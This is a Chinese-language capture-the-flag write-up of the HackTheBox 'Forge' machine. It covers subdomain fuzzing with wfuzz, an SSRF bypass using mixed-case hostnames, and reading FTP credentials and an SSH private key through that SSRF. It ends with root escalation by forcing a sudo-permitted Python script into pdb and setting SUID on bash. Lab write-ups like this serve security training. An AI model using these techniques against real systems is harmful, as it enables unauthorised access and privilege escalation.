hackthebox forge


前言

這機器還算簡單。留下兩個問題:
1.gobuster能否過濾輸出。再爆破vhost時有很多30x結果,然后改換了wfuzz
2.ftp在連接時能否不進交互式shell執行命令呢?如果可以再這題的場景下就方便了。

打點

ORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

修改host把forge.htb配上。訪問web端口.只有一個文件上傳點。能上傳任意文件(本地上傳和從url上傳),但不清楚這站點用的是啥。傳了php,jsp都不解析的樣子。那只能掃一掃目錄和子域名了。

wfuzz -c -u "http://forge.htb/" -H "Host:FUZZ.forge.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt


得到一個子域名admin.forge.htb,host文件里給它加上訪問之

嘗試加上X-Forwarded-For:127.0.0.1繞過失敗。

前面有個從url上傳功能,我們把子站這頁傳上去試試

妙就妙在能大小寫繞過,這里存在一個ssrf漏洞!!!

http://aDmin.forGe.hTb/

訪問顯示圖像損壞,那就直接curl看報文。

繼續按這個方法獲取/announcements目錄的內容

得到ftp賬密user:heightofsecurity123!

得到/upload目錄下api用法,其支持ftpc,ftps....(明擺的暗示)

http://aDmin.forGe.hTb/upload?u=url

結合起來,我們嘗試讀取
ftp://user:heightofsecurity123!@FORGE.HTB

也就是說我們現在可以利用ssrf讀取系統文件了。user.txt在這就說明現在已經是用戶家目錄了。讀取ssh私鑰

ssh -i id_rsa user@10.10.11.111 

登錄成功,用戶名user是試的ftp的。

提權

sudo -l發現有一個nopasswd項

(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

看下這個python文件

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

先跑起來,再nc連接端口(起兩個ssh窗口)

發現option輸不合法的內容比如ls會觸發pdb調試。但是pdb模式下是可以執行python代碼的。於是直接給bash加上suid提權成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM